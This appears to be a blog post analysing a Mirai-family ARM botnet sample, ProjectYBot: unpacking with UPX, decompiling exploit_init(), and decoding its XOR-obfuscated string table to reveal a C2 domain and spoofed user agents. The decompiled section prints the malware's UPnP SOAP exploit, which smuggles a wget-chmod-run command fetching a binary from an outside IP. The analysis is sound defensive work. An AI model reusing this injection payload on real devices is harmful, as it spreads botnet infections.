>This article contains technical analysis of malicious software. All malware samples discussed have been handled in a controlled, isolated laboratory environment using proper security protocols.
I got a notification from MalwareBazaar that a new ELF binary was uploaded so I decided to take a look at it. Here's the sha256 hash if you want to check it out:
```
0aa7304453ec3340cb88c54191f6170b3a1ca1bbc175f1ea70484f114b16923b
```
It's a ELF 32-bit executable with no section header, which could mean that it's packed.
```bash
➜ Desktop file 0aa7304453ec3340cb88c54191f6170b3a1ca1bbc175f1ea70484f114b16923b.ELF
0aa7304453ec3340cb88c54191f6170b3a1ca1bbc175f1ea70484f114b16923b.ELF: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
```
That checks out when we run `strings`, the binary is packed with UPX (not the best way to figure that out, but it's usually enough)
```bash
➜ decrpyt_table strings 0aa7304453ec3340cb88c54191f6170b3a1ca1bbc175f1ea70484f114b16923b.elf
(...)
/$J
x)#[
>Ca*aR
UPX!
UPX! <--------------------------
```
Let's decrypt it:
```bash
➜ decrpyt_table upx -d 0aa7304453ec3340cb88c54191f6170b3a1ca1bbc175f1ea70484f114b16923b.elf
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
[WARNING] bad b_info at 0xceac
[WARNING] ... recovery at 0xceb0
215837 <- 71468 33.11% linux/arm 0aa7304453ec3340cb88c54191f6170b3a1ca1bbc175f1ea70484f114b16923b.elf
Unpacked 1 file.
```
The binary was 33% of its original size, disassembling it would return really cryptic assembly code. Fortunately, we saw it early enough :)
After unpacking the binary it's pretty easy to follow up its steps.
> I'm going to use Binary Ninja to unravel the binary and we'll not be performing dynamic analysis in this article.
After opening the binary in Binja, let's look at the Triage:
[MISSING IMAGE]
From this view alone, we can see that:
- it's indeed an ARM32 binary (platform: linux-armv7)
- its entry point is at `0x8194` and its base address is `0x8000`
- from the exports, we can guess that this malware is going to perform a couple of scans to search for devices from certain manufactures
- will likely perform some kind of DoS attack
Let's take a quick look at the `main()` function to see what's going on:
[MISSING IMAGE]
- it has some anti-debugging techniques but that's not a concern since we'll not be doing dynamic analysis in this blog
- `table_init()` seems interesting to me
- `resolve_cnc_addr`could mean that it's getting the c2 server's ip, that's a good hint on what this is going to do
- initializes more stuff.........
There's a lot of info here but I decided to start analyzing `exploit_init()`since this is probably where the good stuff is at.
```c
uint32_t exploit_init(int32_t arg1, uint32_t arg2 @ r9, int32_t* arg3 @ r10, void* arg4 @ r11)
{
(...)
uint32_t result = __GI_fork(arg1, r1, r2, 0);
(...)
conn_table = calloc(0x80, 0x1520);
do
{
uint32_t conn_table_4 = conn_table;
void* r2_3 = &i[(i * 0x2a)];
i = ((char*)i_4 + 1);
*(uint32_t*)(conn_table_4 + (&i_4[(i_4 * 0x2a)] << 5)) = 0xffffffff;
*(uint32_t*)(((r2_3 << 5) + conn_table_4) + 8) = 0;
i_4 = i;
} while (i <= 127);
int32_t socket_fd;
int32_t r3_2;
socket_fd = __GI_socket(2, 3);
(...)
if (socket_fd != 0xffffffff)
{
int32_t r0_7;
int32_t r3_3;
r0_7 = __GI___libc_fcntl(socket_fd, 3, 0, r3_2);
__GI___libc_fcntl(socket_fd, 4, (r0_7 | 0x800), r3_3);
(...)
{
int32_t r3_60 = r6_2[2];
if (r3_60 == 3)
{
util_strcpy(&r6_2[0x47], "POST /UD/?9 HTTP/1.1\r\nUser-Age…");
int32_t r5_6 = *(uint32_t*)(r5_4 + conn_table_2);
util_strlen(&r6_2[0x47]);
__GI_send(r5_6, &r6_2[0x47]);
(...)
/*
POST /UD/?9 HTTP/1.1\r\n
User-Agent: r00ts3c-owned-you\r\n
Content-Type: text/xml\r\n
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n\r\n
<?xml version="1.0" ?><s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://5.59.248.92/adb; chmod 777 adb; sh adb; rm adb;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
*/
```
`exploit_init()`is a pretty lengthy function:
- forks a process to perform scanning on different hosts located on a connection table (`conn_table`) that it initializes..
- attempts to create a raw IPv4 socket for each host that can be used for direct network protocol access and packet manipulation (`socket(2,3)` where 2 = `AF_INET` and 3 = `SOCK_RAW`) and if it connects, tries setting the `O_NONBLOCK` flag so that read/write operations return immediately instead of waiting (`000083f0 __GI___libc_fcntl(socket_fd, 4, (r0_7 | 0x800), r3_3);`)
- sends some data packets including a POST request to return a binary `abd` from `5.59.248.92` and run it with special privileges on `/tmp/.e`or `/var/dev/.e`
Let's dive deeper....
I found this function `attack_init()` which mentions a couple of attacks for different networking protocols:
- `attack-udp-plain`
- `attack-udpe-vse`
- `attack-tcp-stomp`
- `attack-udp-ovhhex`
(...)
> TCP STOMP represents a significant evolution in TCP-based Denial of Service (DoS). This technique exploits fundamental aspects of TCP connection handling to overwhelm target systems.
[MISSING IMAGE]
If we follow the traces of any of these attack functions, there's a function called `table_unlock_val()` that appears to be used to retrieve values from a table:
[MISSING IMAGE]
(**_!_**) the `table_init` function that we found at the start could be useful here! let's check it out:
- allocates some arbitrary memory bytes
- copies unreadable garbage strings (we know that these are not garbage strings) into a memory location with `memcpy()`
[MISSING IMAGE]
What's left to do is get these string values from the `table_init()` function and make our own python program that imitates `table_unlock_val()` to try and get the original ones.
To write the script I needed the table key, which was pretty easy to find:
```
000341ec uint32_t table_key = 0xdeaddaad
```
The final script:
```python
TABLE_KEY = 0xdeaddaad
def decrypt_byte(byte, key):
return byte ^ (key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ ((key >> 24) & 0xFF)
encrypted_data = {
0: "_Tvknagp]FkpY[Mjmpmepmjc[Iehseva[Omhh",
1: "Mjwpejga[ehvae`}[a|mw",
2: "gjg*clp}*kjhm",
3: "+`epe+hkgeh+p",
4: "QJWPEFHA>$etthap$jkp$bkq",
5: "+fmj+fqw}fk|$QJWPEF",
6: "+`ar+BPS@P545[sepgl`",
7: "Eggatp>$pa|p+lpih(etthmgepmkj+|lpih/|ih(etthmgepmkj+|ih?u94*=(mieca+saft(.+.?u94",
8: "Gkjpajp)P}ta>$etthmgepmkj+|)sss)bkvi)qvhajgk`",
9: "Ik~mhhe+0*4$,gkitepmfha?$IWMA$=*4?$Smj`ksw$JP$2*5?$Pvm`ajp+0*4?$B@I?$IWMAGveshav?$Ia`me$Gajpav$TG$1*",
10: "Ik~mhhe+1*4$,Smj`ksw$JP$54*4?$SKS20-$EtthaSafOmp+173*72$,OLPIH($hmoa$Cagok-$Glvkia+16*4*6307*552$Webevm+173*",
}
def table_unlock_val(index):
if index not in encrypted_data:
print(f"No data for index {index}")
return
encrypted_string = encrypted_data[index]
encrypted_bytes = encrypted_string.encode('ascii')
decrypted_bytes = bytes(decrypt_byte(b, TABLE_KEY) for b in encrypted_bytes)
print(f"Data for index {index}:")
print("Encrypted data:", encrypted_string)
print("Decrypted data (ASCII):", decrypted_bytes.decode('ascii', errors='replace'))
if __name__ == "__main__":
for i in range(len(encrypted_data)):
table_unlock_val(i)
print()
```
(1)
```python
TABLE_KEY = 0xdeaddaad
```
Initializing the table key
(2)
```python
def decrypt_byte(byte, key):
return byte ^ (key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ ((key >> 24) & 0xFF)
```
This function takes a single encrypted byte and our key, then:
- splits our key into 4 parts (using & 0xFF to get each byte)
- uses the xor operation (^) to "mix" each part with our encrypted byte
- `>>`shifts our key right by 8, 16, and 24 bits to get each part
(3)
```python
encrypted_data = {
0: "_Tvknagp]FkpY[Mjmpmepmjc[Iehseva[Omhh",
1: "Mjwpejga[ehvae`}[a|mw",
# (...)
}
```
This is just a dictionary holding all our encrypted strings. each string is indexed by a number (0 through 10). these are the garbage strings we want to decrypt.
(4)
```python
def table_unlock_val(index):
if index not in encrypted_data:
print(f"no data for index {index}")
return
encrypted_string = encrypted_data[index]
encrypted_bytes = encrypted_string.encode('ascii')
decrypted_bytes = bytes(decrypt_byte(b, TABLE_KEY) for b in encrypted_bytes)
print(f"data for index {index}:")
print("encrypted data:", encrypted_string)
print("decrypted data (ascii):", decrypted_bytes.decode('ascii', errors='replace'))
```
This is where the juice is, for each index:
- we check if we actually have data for it
- grab the encrypted string
- turn it into bytes
- decrypt each byte using our decrypt_byte function
- convert it back to readable text and show both versions
(5)
```python
if __name__ == "__main__":
for i in range(len(encrypted_data)):
table_unlock_val(i)
print()
```
Finally, this part just runs through all our encrypted strings (0 through 10) and decrypts each one...
This is was the output:
```
Data for index 0:
Encrypted data: _Tvknagp]FkpY[Mjmpmepmjc[Iehseva[Omhh
Decrypted data (ASCII): [ProjectYBot]_Initiating_Malware_Kill
Data for index 1:
Encrypted data: Mjwpejga[ehvae`}[a|mw
Decrypted data (ASCII): Instance_already_exis
Data for index 2:
Encrypted data: gjg*clp}*kjhm
Decrypted data (ASCII): cnc.ghty.onli
Data for index 3:
Encrypted data: +`epe+hkgeh+p
Decrypted data (ASCII): /data/local/t
Data for index 4:
Encrypted data: QJWPEFHA>$etthap$jkp$bkq
Decrypted data (ASCII): UNSTABLE: applet not fou
Data for index 5:
Encrypted data: +fmj+fqw}fk|$QJWPEF
Decrypted data (ASCII): /bin/busybox UNSTAB
Data for index 6:
Encrypted data: +`ar+BPS@P545[sepgl`
Decrypted data (ASCII): /dev/FTWDT101_watchd
Data for index 7:
Encrypted data: Eggatp>$pa|p+lpih(etthmgepmkj+|lpih/|ih(etthmgepmkj+|ih?u94*=(mieca+saft(.+.?u94
Decrypted data (ASCII): Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0
Data for index 8:
Encrypted data: Gkjpajp)P}ta>$etthmgepmkj+|)sss)bkvi)qvhajgk`
Decrypted data (ASCII): Content-Type: application/x-www-form-urlencod
Data for index 9:
Encrypted data: Ik~mhhe+0*4$,gkitepmfha?$IWMA$=*4?$Smj`ksw$JP$2*5?$Pvm`ajp+0*4?$B@I?$IWMAGveshav?$Ia`me$Gajpav$TG$1*
Decrypted data (ASCII): Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.
Data for index 10:
Encrypted data: Ik~mhhe+1*4$,Smj`ksw$JP$54*4?$SKS20-$EtthaSafOmp+173*72$,OLPIH($hmoa$Cagok-$Glvkia+16*4*6307*552$Webevm+173*
Decrypted data (ASCII): Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.
```
As expected, these were real strings and we got even more information:
- we can confirm that this is a Mirai family malware called ProjectYBot.
- attempts to connect to C2: `cnc.ghty.onli`
- uses various User-Agent strings for masking
- checks for busybox (tells the malware if it's an embedded device which is the target here + has essential commands like `ls`, `cp`...)
Mirai family malware is growing exponentially every year with the growth of ARM IoT devices.
The analysis reveals ProjectYBot as a sophisticated evolution of the Mirai malware family, highlighting the ongoing arms race in IoT security.